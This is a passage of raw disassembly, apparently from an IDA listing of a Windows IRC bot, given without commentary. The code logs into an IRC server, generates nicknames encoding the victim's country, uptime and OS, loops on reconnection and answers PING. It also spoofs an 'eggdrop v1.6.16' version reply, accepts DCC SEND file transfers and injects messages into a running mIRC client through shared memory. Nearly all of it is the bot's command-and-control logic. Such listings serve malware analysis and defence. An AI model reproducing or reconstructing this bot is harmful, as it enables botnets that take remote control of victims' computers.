cmp off_41DA40[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA40[eax] push offset dword_41E868 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA44[eax] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp off_41DA48[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA48[eax] push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E868 call sub_4105AD pop ecx push offset dword_41E968 call sub_4105AD pop ecx push offset byte_41E6E8 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E6E8 test eax, eax jz short loc_40D099 push offset byte_41E6E8 call sub_4105FB pop ecx push offset byte_41E6E8 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E6E8 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EE98 test eax, eax jz short loc_40D0C3 push offset byte_41EE98 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F018 test eax, eax jz short loc_40D0F6 push offset byte_41F018 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EE18 test eax, eax jz short loc_40D163 push offset byte_41EE18 push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DB00 test eax, eax jz short loc_40D31D push offset byte_41DB00 push offset dword_41DA80 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DA80 call sub_4105FB pop ecx movsx eax, byte_41DB80 test eax, eax jz short loc_40D31D push offset byte_41DB80 push offset dword_41ED18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED18 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DA70 lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41E974 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E868 call sub_4105FB pop ecx push offset dword_41E968 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41E968 push offset dword_41E868 call sub_4050EA add esp, 10h mov dword_41E974, eax push offset dword_41E868 call sub_4105AD pop ecx push offset dword_41E968 call sub_4105AD pop ecx cmp dword_41E974, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset dword_41A03C lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E974 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E974 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_4171EC ; SendMessageA push [ebp+var_C] call dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DA80 lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset dword_418A50 lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DC00 push 3B7h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DA70 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] 